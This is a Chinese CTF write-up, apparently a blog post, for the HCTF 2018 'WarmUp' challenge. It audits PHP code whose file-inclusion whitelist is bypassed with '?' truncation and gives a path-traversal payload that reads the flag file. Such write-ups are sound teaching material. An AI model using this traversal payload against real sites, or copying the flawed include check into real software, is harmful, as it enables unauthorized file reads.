[HCTF 2018]WarmUp

先放payload

?file=source.php?../../../../../ffffllllaaaagggg

打开一看,是一张大笑脸,无语

没办法,先看看源码,目测是代码审计题

 开始看源码

        body里发现一个很明显的绿色注释,source.php,至于下面那个划横线的链接,可以点进去看一下,就是刚刚那张可恶的大笑脸 。

下面看看source.php:

用了一下hackbar,比较方便,可以看到里面确实有东西

下面就是正题,代码审计。

我做这类题一般跳过条件函数,先看执行语句:

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";

 分析一下,if后面跟随三个判断条件:

1.输入"file"不空

2.输入"file"为字符串

3.能够通过上述条件函数(emmm中的checkFile)

通过判断条件后,文件包含成功,语句也就顺利执行了。

上述分析结束,发现重点还是在条件函数:

逐段分析:

emmm类中首先有一个静态公共方法,包含了下面的几个条件

这是第一个条件,语义如下:

class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//设置白名单,=>左侧为键,右侧为值
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }//如果取值失败,不存在或不是字符串,返回false

            if (in_array($page, $whitelist)) {
                return true;
            }//取值成功且在白名单中有输入字段,通过条件

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
     );/*这个判断中存在两个函数,mb_substr用于截断输入值,
从0位置开始。mb_strpos函数用于判断输入字符串中?
在第几个位置出现,并返回数值。综合来看,其功能
就是截取输入字符?之前的语句内容,?以后不管*/
       
            if (in_array($_page, $whitelist)) {
                return true;
            }//in_array判断同上

            $_page = urldecode($page);//url解码
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );//再做截取
            if (in_array($_page, $whitelist)) {
                return true;
            }//白名单判断
            echo "you can't see it";
            return false;
        }
    }

上述语句判断完成

基本可以得出如下payload

?file=source.php?../../../../../ffffllllaaaagggg

?file用于传参,

为了应对截断后的白名单匹配,加了source.php,加hint.php也可以,同时用问号匹配截断条件;

../的用法是为了实现路径穿越,我也不知道加多少,反正就是一路穿,不一定加到第几个,就出来了;

最后的文件名字是在hint.php里得到的,一开始看它就不像好人,进去看看果然有东西。

以上就是做这道题遇到的全部问题,欢迎交流指正。 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值